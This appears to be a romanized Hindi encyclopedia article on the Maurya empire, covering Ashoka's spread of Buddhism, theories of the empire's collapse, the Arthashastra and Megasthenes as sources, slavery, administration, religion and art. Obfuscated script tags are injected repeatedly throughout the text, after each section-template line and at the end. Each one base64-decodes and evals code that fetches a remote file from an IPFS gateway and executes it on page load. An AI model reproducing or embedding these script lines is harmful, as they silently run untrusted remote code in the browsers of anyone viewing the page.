ashok ne bauddh dharm grahan kiya, is dharm ke upadeshoan ko n keval desh mean varanh videshoan mean bhi pracharit karane ke lie prabhavashali qadam uthae. apane putr mahendr aur putri sanghamitra ko ashok ne isi kary ke lie shrilanka bheja tha. ashok ne apane karyakal mean anek shilalekh khudavae jinamean dharmopadeshoan ko utkirn kiya gaya. rajashakti ko sarvapratham usane hi janakalyan ke vividh karyoan ki or agrasar kiya. anek stoopoan aur stanbhoan ka nirman kiya gaya. inhian mean se saranath ka prasiddh sianhashirsh stanbh bhi hai jo ab bharat ke rajachihn ke roop mean sammanit hai.
ashok ki sahridayata, sahishnuta aur udarata
kuchh itihasakaroan ka mat hai ki ashok ne dharmik kshetroan ki or dhyan n dekar rashtriy drishti se hit sadhan nahian kiya. isase bharat ka rajanitik vikas rooka jabaki us samay roman samrajy ke saman vishal bharatiy samrajy ki sthapana sanbhav thi. is niti se digvijayi sena nishkriy ho gee aur videshi akraman ka samana nahian kar saki. is niti ne desh ko bhautik samriddhi se vimukh kar diya jisase desh mean rashtriyata ki bhavanaoan ka vikas avaruddh ho gaya. doosari or any ka mat isase viparit hai. ve kahate haian isi niti se bharatiyata ka any deshoan mean prachar hua. ghrina ke sthan par sahridayata vikasit huee, sahishnuta aur udarata ko bal mila tatha barbarata ke krityoan se bhare hue itihas ko ek nee disha ka bodh hua. lokahit ki drishti se ashok hi apane samakalin itihas ka ekamatr aisa shasak hai jisane n keval manav ki varanh jivamatr ki chianta ki. is mat-vibhinnata ke rahate hue bhi yah vichar sarvamany hai ki ashok apane kal ka akela samrat tha, jisaki prashasti usake gunoan ke karan hoti aee hai bal ke dar se nahian.
maury samrajy ke patan ke karan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ashok ke bad hi maury samrajy ka patan arambh ho gaya tha aur lagabhag 50 varsh ke andar is samrajy ka aant ho gaya. itane alp samay mean itane b de samrajy ka nasht ho jana ek aisi ghatana hai ki itihasakaroan mean samrajy vinash ke karanoan ki jijnasa svabhavik hi hai.
mahamahopadhyay haraprasad shastri ne ashok ki dharmik niti ko samrajy ke patan ka mukhy karan mana hai. usake anusar ashok ki dharmik niti bauddhoan ke paksh mean thi aur brahmanoan ke visheshadhikaroan v unaki samajik shreshthata ki sthiti par kutharaghat karati thi. atah brahmanoan mean pratikriya huee, jisaki charamasima pushyamitr ke vidroh mean drishtigochar hoti hai. is mat ka saphalatapoorvak virodh karate hue prasiddh itihasakar hemachandr rayachaudhari ka kahana hai ki ek to ashok ne pashubali par poorn pratibandh lagaya nahian tha aur phir svayan brahman granthoan mean bhi yajnadi avasaroan par pashu-bali ke virodh ke svar spasht sunaee de rahe the. atah ashok ke tathakathit pratibandh ko badha-chadha kar dikhaya gaya hai. dhammamahamatroan ke dayitvoan mean aisa koee ullekh nahian hai, jise brahman virodhi kaha jae. ve to brahman, shraman adi sabhi ke kalyan ke lie the. rajukoan jaise nyayadhikariyoan ko jo adhikar die ge ve bhi brahmanoan ke adhikaro par aghat karane ke uddeshy se nahian apitu dand vidhan ko lokahit evan adhik manaviy banane ke uddeshy se prerit the aur n hi senani pushyamitr shuang ke vidroh ko brahmanoan dvara sangathit kranti kahana uchit hoga. yah to sainik kranti thi, jisamean dharm ka put nahian tha. aise koee praman nahian haian jinake adhar par yah kaha ja sake ki pushyamitr ki rajyakranti ka karan sena par poorn adhikar rakhane vale senapati ki mahattvakaanksha thi, asantusht brahmanoan ke ek samuday ka netritv nahian.
mauryakalin bharat
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
maury samrajy ki samajik arthik, shasan prabanndh tatha dharm aur kala sambandhi janakari ke lie kautily ka arthashastr, maigasthaniz krit iandika tatha ashok ke abhilekhoan ka thik se arth lagaya jae to pata chalega ki ve ek doosare ke poorak haian. rudradaman ke joonagadh shilalekh se bhi prantiy shasan ke sambandh mean mahattvapoorn janakari prapt hoti hai. maury kal ki janakari ke lie arthashastr ki pramanikata ke sambandh mean vidvanoan mean matabhed hai. paramparagat dharana ke adhar par ise chandragupt maury ke mantri chanaky (vishnugupt) dvara rachit manakar ee. poo. chauthi shatabdi ka bataya jata hai. kintu vaijnanik dhang se kie ge adhunik shodh ne is mat ke prati ashanka vyakt ki hai. is sandarbh mean traantamain ke shodhakary ka ullekh anuchit n hoga. arthashastr ki shaili ke saankhyakiy vishleshan dvara unhoanne spasht kiya hai ki isaki rachana ek yug vishesh mean nahian apitu vibhinn shatabdiyoan mean huee aur isilie yah kisi vyakti vishesh ki rachana n hokar vibhinn hathoan ki kriti hai. jahaan kuchh adhyay maury kal ke haian vahaan adhikaansh adhyay aise bhi haian jo tisari, chauthi shatabdi eesvi mean rache ge.
mauryayugin puratatvik sanskriti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mauryayugin puratatvik sanskriti mean uttari kali p aaulish ke mridabhaandoan ki jis sanskriti ka pradurbhav mahatma buddh ke kal mean hua tha, vah maury yug mean apani charam sima par drishtigochar hoti hai. is sanskriti ka vivaran uttar, uttar pashchim, poorv evan dakkan ke vihangam kshetr mean isaka prasar ho chuka tha. uttar pashchim mean kandhar, takshashila, udegram adi sthaloan se lekar poorv mean chandraketugadh tak, uttar mean rop d, hastinapur, tilaurakot evan shravasti se lekar dakshin mean brahmapuri, chhabroli adi tak is sanskriti ke avashesh milate haian. pali evan sanskrit granthoan mean kaushaanbi, shravasti, ayodhya, kapilavastu, varanasi, vaishali, rajagir, pataliputr adi jin nagaroan ka ullekh milata hai, ve sabhi maury yug mean paryapt pallavit avastha mean the.
mauryakal mean das pratha
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- meangasthaniz ne likha hai ki sabhi bharatavasi saman haian aur unamean koee das nahian hai.
- dayodoras ne likha hai, "qanoon ke anusar unamean se koee bhi kisi bhi paristhiti mean das nahian ho sakata."
- megasthaniz ko hi uddhrit karate hue straboan ka kahana hai, "bharatiyoan mean kisi ne apani seva mean das nahian rakhe."
- ek any sthal par strabo ne kaha, "chooanki unake pas das nahian haian, atah unhean bachchoan ki adhik avashyakata hoti hai.
videshi shaktiyoan ke vaktavyoan ka shabdashah svikar nahian kiya ja sakata. kyoki kam se kam buddh ke kal se hi dasoan ko utpadan ke kam mean lagaya jata tha aur pali tripitak mean isake asankhy ullekh haian. atah uparyukt vivaranoan ki vyakhya vibhinn prakar se ki ja sakati hai. ho sakata hai ki megasthaniz ko bharat mean dasoan ke prati svamiyoan ke dvara vyavahar nirmal aur sadabhavanapoorn laga ho athava yah bhi sambhav hai ki usane kisi vishesh kshetr ka hi ullekh kiya ho. ek sthan par to kautily ne likha hai ki n tvevaryasy dasavah, arthat kisi bhi paristhiti mean ary ke lie dasata nahian hogi. is sandarbh mean megasthaniz ke kathan ka yah arth ho sakata hai ki svatantr logoan ko ajivan dasata mean parinat karane ki simaean thian.
maury kal ka shasan prabandh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mauryoan ke shasanakal mean bharat ne pahali bar rajanitik ekata prapt ki. 'chakravarti samrat' ka adarsh charitarth hua. kautily ne chakravarti kshetr ko sakar roop diya. usake anusar chakravarti kshetr ke aantargat himalay se hind mahasagar tak sara bharatavarsh hai. maury yug mean rajatantr ke siddhaant ki vijay hai. is yug mean gan rajyoan ka hras hone laga aur shasan satta atyadhik kendrit ho gee. samrajy ki sima par tatha samrajy ke aandar kuchh ardh—svatantr rajy the, jaise kamboj, bhoj, paittanik tatha atavik rajy.
maury kal mean praja ki shakti mean atyadhik vriddhi huee. paramparagat rajashastr siddhaant ke anusar raja dharm ka rakshak hai, dharm ka pratipadak nahian. rajashasan ki vaidhata is bat par nirbhar thi ki vah dharm ke anukool ho. kintu kautily ne is disha mean ek naya pratiman prastut kiya.
mauryakalin dharm
vaidik dharm aur grih krity pradhan the. megasthaniz ke anusar brahmanoan ka samaj mean pradhan sthan tha. darshanik yadyapi sankhya mean kam the kintu ve sabase shreshth samajhe jate the aur yajn—kary mean lagae jate the. kautily ke anusar trayi (arthath tin vedoan) ke anusar acharan karate hue sansar sukhi rahega aur avasad ko prapt nahian hoga. tadanusar rajakumar ke lie cholakarm, upanayan, godan, ityadi vaidik sanskar nirdisht kie ge haian. rritvik, achary aur purohit ko rajy se niyat varshik vetan milata tha. vaidik granthoan aur karmakand ka ullekh prayah tatkalin bauddh granthoan mean milata hai. kuchh brahmanoan ko jo vedoan mean nishnat the, vedoan ki shiksha dete the tatha b de—b de yajn karate the, pali—granthoan mean 'brahmananissal' kaha gaya hai. ve ashvamedh, vajapey ityadi yajn karate the. aise brahmanoan ko rajy se kar—mukt bhoomi dan mean milati thi. arthashastr mean aisi bhoomi ko 'brahmadey' kaha gaya hai aur in yajnoan ki isalie nianda ki gee hai ki inamean gau aur bail ka vadh hota tha, jo krishi ki drishti se upayogi the.
kintu karmakand pradhan vaidik dharm abhijat brahman tatha kshatriyoan tak hi simit tha. upanishadoan ka adhyatm—jivan, chintan tatha manan ka adarh khatm nahian hua tha. sutt nipat mean aise rrishiyoan ka ullekh hai jo panchendriy sukh ko tyagakar idriyasanyam rakhate the. vidya aur pavitrata hi isaka dhan tha. ve bhiksha mean milane vale vrihi se yajn karate the. yoonani lekhakoan ne bhi in vanaprasthiyoan ka ullekh kiya hai. in lekhakoan ke anusar ye vanaprasthashram mean rahane vale brahman kutiyoan mean nivas karate the. vahaan sanyam ka jivan—vyatit karate hue vidyadhyayan aur manan karate the. ve apana samay gahan pravachanoan ko sunane aur vidya dan mean bitate the. megasthaniz ne mandani kaur sikandar ke bich vartalap ka jo vrittaant diya hai, usase mauryakalin brahman rrishiyoan ki jivanacharya par prakash p data hai.
vaidik dharm ke atirikt ek any prakar ke dharmik jivan ka chitr bhi milata hai jisaki mukhy visheshata vibhinn devataoan ki pooja thi. brahma, indr, yam, varun, kuber, shiv, kartikey, sankarshan, jayant, aparajit, ityadi devataoan ka ullekh hai. inamean se bahut se devataoan ke mandir the. sthaniy tatha kul devataoan ke mandir bhi hote the. in devataoan ki pooja pushp tatha sugandhit padarthoan se hoti thi. namaskar, pranatipat ya upahar se devataoan ko santusht kiya jata tha. in mandiroan mean mele aur utsav hote the. yah jan—sadharan ka dharm tha. devataoan ki pooja ke sath bhoot—pret tatha rakshasoan ke astitv mean unaka vishvas tha. inhean abhichar vidya mean kushal vyaktiyoan ki sahayata se santusht kiya jata tha. isake atirikt anek prakar ke jadoo—tonoan ka bhi prayog kiya jata tha. akshay dhan, rajakripa, lambi ayu, shatru ka nash adi uddeshyoan ko prapt karane ke lie anek abhichar kriyaean ki jati thian. chaityavrikshoan tatha nagapooja ka prachalan jan—sadharan mean tha. ashok ne bhi apane navean shilalekh mean logoan dvara kie jane vale maangalik karyoan ka ullekh kiya hai. ye maangalik kary bimari ke samay, vivah, putrotpatti tatha yatra ke avasar par kie jate the.
ashok ne apane shilalekhoan mean brahmanoan, nirgranthoan ke sath—sath ajivakoan ka bhi ullekh kiya hai. rajyabhishek ke 12vean varsh mean ashok ne barabar ki paha diyoan mean unhean do gufaean pradan kian. sampoorn maury kal mean ajivakoan ka prabhav bana raha. ashok ke pautr dasharath ne bhi nagarjuni ki paha diyoan mean kuchh gufaean ajivakoan ko bheant kian.
mauryakalin kala
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kala ki drishti se h dappa ki sabhyata aur mauryakal ke bich lagabhag 1500 varsh ka aantaral hai. is bich ki kala ke bhautik avashesh upalabdh nahian hai. mahakavyoan aur bauddh granthoan mean hathidaant, mitti aur dhatuoan ke kam ka ullekh hai. kintu mauryakal se poorv vastukala aur moortikala ke moort udaharan kam hi milate haian. mauryakal mean hi pahale—pahal kalatmak gatividhiyoan ka itihas nishchit roop se prarambh hota hai. rajy ki samriddhi aur maury shasakoan ki prerana se kalakritiyoan ko protsahan mila. is yug mean kala ke do roop milate haian. ek to rajarakshakoan ke dvara nirmit kala, jo ki maury prasad aur ashok stanbhoan mean paee jati hai. doosara vah roop jo parakham ke yaksh didaraganj ki chamar grahini aur vesanagar ki yakshini mean dekhane ko milata hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>